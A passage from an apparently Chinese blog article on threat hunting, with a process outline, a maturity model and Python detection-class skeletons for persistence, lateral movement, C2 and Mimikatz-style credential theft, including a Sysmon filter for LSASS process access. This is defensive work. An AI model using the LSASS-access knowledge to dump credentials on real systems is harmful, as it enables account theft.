monospace;font-size: 12px;"><span leaf="">威胁狩猎流程：</span><span leaf=""><br/></span><span leaf="">├─ 形成假设</span><span leaf=""><br/></span><span leaf="">│  ├─ 基于威胁情报</span><span leaf=""><br/></span><span leaf="">│  ├─ 基于历史事件</span><span leaf=""><br/></span><span leaf="">│  ├─ 基于异常行为</span><span leaf=""><br/></span><span leaf="">│  └─ 基于ATT&amp;CK框架</span><span leaf=""><br/></span><span leaf="">├─ 验证假设</span><span leaf=""><br/></span><span leaf="">│  ├─ 收集相关数据</span><span leaf=""><br/></span><span leaf="">│  ├─ 分析数据模式</span><span leaf=""><br/></span><span leaf="">│  └─ 确认或否定假设</span><span leaf=""><br/></span><span leaf="">├─ 扩展调查</span><span leaf=""><br/></span><span leaf="">│  ├─ 关联分析</span><span leaf=""><br/></span><span leaf="">│  ├─ 时间线分析</span><span leaf=""><br/></span><span leaf="">│  └─ 影响范围评估</span><span leaf=""><br/></span><span leaf="">└─ 记录发现</span><span leaf=""><br/></span><span leaf="">   ├─ 更新检测规则</span><span leaf=""><br/></span><span leaf="">   ├─ 完善威胁情报</span><span leaf=""><br/></span><span leaf="">   └─ 改进狩猎流程</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">2. 威胁狩猎成熟度模型</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">威胁狩猎成熟度模型：</span><span leaf=""><br/></span><span leaf="">├─ Level 0: 初始级</span><span leaf=""><br/></span><span leaf="">│  └─ 依赖自动化告警，无主动狩猎</span><span leaf=""><br/></span><span leaf="">├─ Level 1: 基础级</span><span leaf=""><br/></span><span leaf="">│  └─ 使用基础数据，执行简单狩猎</span><span leaf=""><br/></span><span leaf="">├─ Level 2: 程序级</span><span leaf=""><br/></span><span leaf="">│  └─ 使用丰富数据，执行系统狩猎</span><span leaf=""><br/></span><span leaf="">├─ Level 3: 创新级</span><span leaf=""><br/></span><span leaf="">│  └─ 使用高级分析，开发新狩猎技术</span><span leaf=""><br/></span><span leaf="">└─ Level 4: 领先级</span><span leaf=""><br/></span><span leaf="">   └─ 自动化狩猎，持续改进</span></code></pre><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">1.2 威胁狩猎实践</span></span></h3><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">1.2.1 基于MITRE ATT&amp;CK的狩猎</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">1. 狩猎矩阵</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 基于MITRE ATT&amp;CK的威胁狩猎框架</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">class</span></span><span style="color: rgb(230, 192, 123);line-height: 26px;"><span leaf="">ThreatHunter</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&#34;&#34;威胁狩猎框架&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">__init__</span></span><span style="line-height: 26px;"><span leaf="">(self)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">        self.hunts = []</span><span leaf=""><br/></span><span leaf="">        self.findings = []</span><span leaf=""><br/></span><span leaf="">        self.techniques = self.load_attack_techniques()</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">create_hunt</span></span><span style="line-height: 26px;"><span leaf="">(self, technique_id, hypothesis, data_sources)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&#34;&#34;创建狩猎任务&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">        hunt = {</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;id&#39;</span></span><span leaf="">: self.generate_hunt_id(),</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;technique&#39;</span></span><span leaf="">: technique_id,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;hypothesis&#39;</span></span><span leaf="">: hypothesis,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;data_sources&#39;</span></span><span leaf="">: data_sources,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;status&#39;</span></span><span leaf="">: </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;Created&#39;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;created_time&#39;</span></span><span leaf="">: datetime.now()</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">        self.hunts.append(hunt)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> hunt</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">execute_hunt</span></span><span style="line-height: 26px;"><span leaf="">(self, hunt_id)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&#34;&#34;执行狩猎任务&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">        hunt = self.get_hunt(hunt_id)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">not</span></span><span leaf=""> hunt:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">None</span></span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;[*] 执行狩猎: </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{hunt[</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;technique&#39;</span></span><span leaf="">]}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;    假设: </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{hunt[</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;hypothesis&#39;</span></span><span leaf="">]}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 收集数据</span></span><span leaf=""><br/></span><span leaf="">        data = self.collect_data(hunt[</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;data_sources&#39;</span></span><span leaf="">])</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 分析数据</span></span><span leaf=""><br/></span><span leaf="">        results = self.analyze_data(data, hunt[</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;technique&#39;</span></span><span leaf="">])</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 记录发现</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> results:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> result </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> results:</span><span leaf=""><br/></span><span leaf="">                finding = {</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;hunt_id&#39;</span></span><span leaf="">: hunt_id,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;technique&#39;</span></span><span leaf="">: hunt[</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;technique&#39;</span></span><span leaf="">],</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;result&#39;</span></span><span leaf="">: result,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;timestamp&#39;</span></span><span leaf="">: datetime.now()</span><span leaf=""><br/></span><span leaf="">                }</span><span leaf=""><br/></span><span leaf="">                self.findings.append(finding)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> results</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">hunt_persistence_mechanisms</span></span><span style="line-height: 26px;"><span leaf="">(self)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&#34;&#34;狩猎持久化机制&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">        findings = []</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 1. 检查注册表自启动</span></span><span leaf=""><br/></span><span leaf="">        registry_findings = self.check_registry_autostart()</span><span leaf=""><br/></span><span leaf="">        findings.extend(registry_findings)</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 2. 检查计划任务</span></span><span leaf=""><br/></span><span leaf="">        task_findings = self.check_scheduled_tasks()</span><span leaf=""><br/></span><span leaf="">        findings.extend(task_findings)</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 3. 检查服务</span></span><span leaf=""><br/></span><span leaf="">        service_findings = self.check_services()</span><span leaf=""><br/></span><span leaf="">        findings.extend(service_findings)</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 4. 检查WMI事件订阅</span></span><span leaf=""><br/></span><span leaf="">        wmi_findings = self.check_wmi_subscriptions()</span><span leaf=""><br/></span><span leaf="">        findings.extend(wmi_findings)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> findings</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">check_registry_autostart</span></span><span style="line-height: 26px;"><span leaf="">(self)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&#34;&#34;检查注册表自启动项&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">        suspicious_entries = []</span><span leaf=""><br/></span><span leaf="">        autostart_keys = [</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run&#39;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce&#39;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run&#39;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run&#39;</span></span><span leaf=""><br/></span><span leaf="">        ]</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> key_path </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> autostart_keys:</span><span leaf=""><br/></span><span leaf="">            entries = self.query_registry(key_path)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> entry </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> entries:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> self.is_suspicious_autostart(entry):</span><span leaf=""><br/></span><span leaf="">                    suspicious_entries.append({</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;type&#39;</span></span><span leaf="">: </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;Registry Autostart&#39;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;key&#39;</span></span><span leaf="">: key_path,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;value&#39;</span></span><span leaf="">: entry[</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;name&#39;</span></span><span leaf="">],</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;data&#39;</span></span><span leaf="">: entry[</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;value&#39;</span></span><span leaf="">],</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;reason&#39;</span></span><span leaf="">: self.get_suspicion_reason(entry)</span><span leaf=""><br/></span><span leaf="">                    })</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> suspicious_entries</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">hunt_lateral_movement</span></span><span style="line-height: 26px;"><span leaf="">(self)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&#34;&#34;狩猎横向移动&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">        findings = []</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 1. 检查远程登录</span></span><span leaf=""><br/></span><span leaf="">        rdp_findings = self.check_rdp_connections()</span><span leaf=""><br/></span><span leaf="">        findings.extend(rdp_findings)</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 2. 检查PsExec使用</span></span><span leaf=""><br/></span><span leaf="">        psexec_findings = self.check_psexec_usage()</span><span leaf=""><br/></span><span leaf="">        findings.extend(psexec_findings)</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 3. 检查WMI远程执行</span></span><span leaf=""><br/></span><span leaf="">        wmi_findings = self.check_wmi_remote()</span><span leaf=""><br/></span><span leaf="">        findings.extend(wmi_findings)</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 4. 检查SMB会话</span></span><span leaf=""><br/></span><span leaf="">        smb_findings = self.check_smb_sessions()</span><span leaf=""><br/></span><span leaf="">        findings.extend(smb_findings)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> findings</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">hunt_c2_communication</span></span><span style="line-height: 26px;"><span leaf="">(self)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&#34;&#34;狩猎C2通信&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">        findings = []</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 1. 检查异常DNS查询</span></span><span leaf=""><br/></span><span leaf="">        dns_findings = self.check_dns_anomalies()</span><span leaf=""><br/></span><span leaf="">        findings.extend(dns_findings)</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 2. 检查心跳通信</span></span><span leaf=""><br/></span><span leaf="">        heartbeat_findings = self.check_heartbeat_patterns()</span><span leaf=""><br/></span><span leaf="">        findings.extend(heartbeat_findings)</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 3. 检查可疑出站连接</span></span><span leaf=""><br/></span><span leaf="">        connection_findings = self.check_suspicious_connections()</span><span leaf=""><br/></span><span leaf="">        findings.extend(connection_findings)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> findings</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 使用示例</span></span><span leaf=""><br/></span><span leaf="">hunter = ThreatHunter()</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 创建狩猎任务</span></span><span leaf=""><br/></span><span leaf="">hunt = hunter.create_hunt(</span><span leaf=""><br/></span><span leaf="">    technique_id=</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;T1053&#39;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">    hypothesis=</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;攻击者可能使用计划任务建立持久化&#39;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">    data_sources=[</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;Windows Security Event Log&#39;</span></span><span leaf="">, </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;Scheduled Task Log&#39;</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 执行狩猎</span></span><span leaf=""><br/></span><span leaf="">results = hunter.execute_hunt(hunt[</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;id&#39;</span></span><span leaf="">])</span></code></pre><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">1.2.2 常见狩猎场景</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">1. 检测凭证窃取</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 凭证窃取狩猎</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">class</span></span><span style="color: rgb(230, 192, 123);line-height: 26px;"><span leaf="">CredentialTheftHunter</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&#34;&#34;凭证窃取狩猎&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">hunt_mimikatz</span></span><span style="line-height: 26px;"><span leaf="">(self)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&#34;&#34;检测Mimikatz活动&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">        indicators = []</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 1. 检查LSASS进程访问</span></span><span leaf=""><br/></span><span leaf="">        lsass_access = self.check_lsass_access()</span><span leaf=""><br/></span><span leaf="">        indicators.extend(lsass_access)</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 2. 检查可疑内存转储</span></span><span leaf=""><br/></span><span leaf="">        dump_files = self.check_memory_dumps()</span><span leaf=""><br/></span><span leaf="">        indicators.extend(dump_files)</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 3. 检查注册表中的凭证</span></span><span leaf=""><br/></span><span leaf="">        registry_creds = self.check_registry_credentials()</span><span leaf=""><br/></span><span leaf="">        indicators.extend(registry_creds)</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 4. 检查SAM数据库访问</span></span><span leaf=""><br/></span><span leaf="">        sam_access = self.check_sam_access()</span><span leaf=""><br/></span><span leaf="">        indicators.extend(sam_access)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> indicators</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">check_lsass_access</span></span><span style="line-height: 26px;"><span leaf="">(self)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&#34;&#34;检查LSASS进程访问&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">        suspicious_events = []</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 查询事件ID 10（进程访问）</span></span><span leaf=""><br/></span><span leaf="">        events = self.query_events(</span><span leaf=""><br/></span><span leaf="">            log_name=</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;Microsoft-Windows-Sysmon/Operational&#39;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">            event_id=</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">10</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">            filter={</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;TargetImage&#39;</span></span><span leaf="">: </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;*lsass.exe*&#39;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;GrantedAccess&#39;</span></span><span leaf="">: </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;*0x1010*&#39;</span></span><span leaf=""><br/></span><span leaf="">            }</span><span leaf=""><br/></span><span leaf="">        )</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> event </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> events:</span><span leaf=""><br/></span><span leaf="">            suspicious_events.append({</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;type&#39;</span></span><span leaf="">: </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;LSASS Access&#39;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;process&#39;</span></span><span leaf="">: event[</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;SourceImage&#39;</span></span><span leaf="">],</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;pid&#39;</span></span><span leaf="">: event[</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;SourceProcessId&#39;</span></span><span leaf="">],</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;timestamp&#39;</span></span><span leaf="">: event[</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;TimeCreated&#39;</span></span><span leaf="">],</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;severity&#39;</span></span><span leaf="">: </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;Critical&#39;</span></span><span leaf=""><br/></span><span leaf="">            })</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> suspicious_events</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">2. 检测数据外泄</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 数据外泄狩猎</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">class</span></span><span style="color: rgb(230, 192, 123);line-height: 26px;"><span leaf="">DataExfiltrationHunter</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&#34;&#34;数据外泄狩猎&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">hunt_data_exfiltration</span></span><span style="line-height: 26px;"><span leaf="">(self)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 